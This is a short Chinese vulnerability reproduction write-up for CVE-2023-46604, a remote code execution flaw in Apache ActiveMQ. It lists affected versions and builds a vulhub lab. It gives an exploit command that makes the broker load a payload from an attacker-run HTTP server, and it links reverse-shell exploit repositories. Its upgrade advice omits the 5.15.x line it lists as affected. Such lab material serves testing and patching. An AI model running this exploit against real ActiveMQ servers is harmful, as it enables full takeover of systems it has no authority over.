一、漏洞描述
Apache ActiveMQ 中存在远程代码执行漏洞,攻击者可构造恶意请求通过Apache ActiveMQ的61616端口,发送恶意数据导致远程代码执行,从而完全控制Apache ActiveMQ服务器。
二、受影响版本
Apache ActiveMQ < 5.18.3
Apache ActiveMQ < 5.17.6
Apache ActiveMQ < 5.16.7
Apache ActiveMQ < 5.15.16
三、环境搭建
git clone https://github.com/vulhub/vulhub.git
cd vulhub/activemq/CVE-2023-46604
docker-compose up -d
四、漏洞复现
1、查看文件
2、启动一个http.server反连服务器
python3 -m http.server 8888
3、复现
python3 poc.py 127.0.0.1 61616 http://192.168.20.54:8888/poc.xml

4、验证
5、其它exp,可以反弹连接,取得shell
https://github.com/X1r0z/ActiveMQ-RCE
https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ
https://github.com/Arlenhiack/ActiveMQ-RCE-Exploit
五、修复建议
建议更新到安全版本
Apache ActiveMQ >= 5.18.3
Apache ActiveMQ >= 5.17.6
Apache ActiveMQ >= 5.16.7